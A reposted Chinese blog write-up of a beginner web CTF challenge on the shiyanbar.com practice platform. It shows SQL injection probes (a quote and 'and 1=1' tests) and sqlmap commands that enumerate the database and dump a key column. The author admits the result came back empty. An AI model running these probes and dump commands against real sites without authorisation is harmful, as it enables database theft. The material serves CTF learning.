您现在的位置:首页 >> 前端 >> 内容

CTF之web这道题很简单

时间:2017/2/9 9:53:00 点击:

  核心提示:网站名称:https://ctf5.shiyanbar.com/8/index.php?id=11、输入【】报错,发现注入2、输入【and 1=1】正常,输入【and 1=2】不正常,证明就是SQL注...

网站名称:https://ctf5.shiyanbar.com/8/index.php?id=1
1、输入【’】报错,发现注入
2、输入【and 1=1】正常,输入【and 1=2】不正常,证明就是SQL注入
3、sqlmap进行SQL注入,这个可以通过linux虚拟机进行操作,也可以直接在windows操作系统中安装sqlmap进行操作,这个在我的博客里有相关介绍,博客地址:https://blog.csdn.net/lijia1111,安装好sqlmap后输入一下指令:
CTF之web这道题很简单

查看当前数据库:
sqlmap.py -u "https://ctf5.shiyanbar.com/8/index.php?id=1" -v 1 --current-db
查看表:
sqlmap.py -u "https://ctf5.shiyanbar.com/8/index.php?id=1" -v 1 -D my_db --tables
查看列:
sqlmap.py -u "https://ctf5.shiyanbar.com/8/index.php?id=1" -v 1 -D my_db -T thiskey --columns
查看key:
sqlmap.py -u "https://ctf5.shiyanbar.com/8/index.php?id=1" -v 1 -D my_db -T thiskey -C koy --dump

得到key值
如图是我的操作过程:
1、查看当前数据库
CTF之web这道题很简单
2、查看表
CTF之web这道题很简单

CTF之web这道题很简单
3、查看列
CTF之web这道题很简单

CTF之web这道题很简单
4、查看key的值
CTF之web这道题很简单

CTF之web这道题很简单
得到key的值为空,不知道是否为空,在做题过程中,我一再输入指令,但是一直为空,最后一个指令有些牵强,还有一个指令:

sqlmap.py -u "https://ctf5.shiyanbar.com/8/index.php?id=1" -v 1 --dump -C koy -T thiskey -D my_db

当我对sqlmap了解更深入以后,才能输入正确的指令,现在先不对sqlmap指令有深究。。。

Tags:CT TF F之 之W 
作者:网络 来源:lijia11111
  • 上一篇:CSS透明度兼容写法
  • 下一篇:MVC简介